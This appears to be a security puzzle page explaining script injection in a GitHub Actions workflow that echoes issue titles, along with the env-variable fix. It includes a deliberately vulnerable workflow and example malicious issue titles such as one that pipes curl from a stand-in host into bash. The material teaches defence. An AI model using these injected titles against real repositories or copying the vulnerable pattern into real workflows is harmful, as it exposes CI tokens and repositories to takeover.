October 11, 2026 路 #25
The issue title that ran a command
A workflow thanks people who open issues. What can a crafted title do?
name: thanks
on:
issues:
types: [opened]
jobs:
comment:
runs-on: ubuntu-latest
steps:
- run: echo "Thanks for ${{ github.event.issue.title }}"Next puzzle in UTC
One try. The first answer sticks.
How to fix it
github.event.issue.title is attacker-controlled and is spliced into the script. An issue titled $(curl evil) runs that command. Bind the title to an env var.
Issue titles, pull request bodies, commit messages, and branch names are inputs. ${{ github.event.issue.title }} pastes that input into the bash script GitHub generates. A title of "; curl https://example.invalid | bash; echo " closes the quote and runs whatever follows, as the workflow, with whatever token the job has.
This is the same bug as SQL injection, with run: as the query string. GitHub's own hardening guide calls it script injection. Masking does not apply, because this value was never registered as a secret.
Fix
- env:
TITLE: ${{ github.event.issue.title }}
run: echo "Thanks for ${TITLE}"
The environment variable is data. The script does not change shape when the title contains a quote. Keep permissions at contents: read unless the job truly needs more, so a missed injection has less to steal.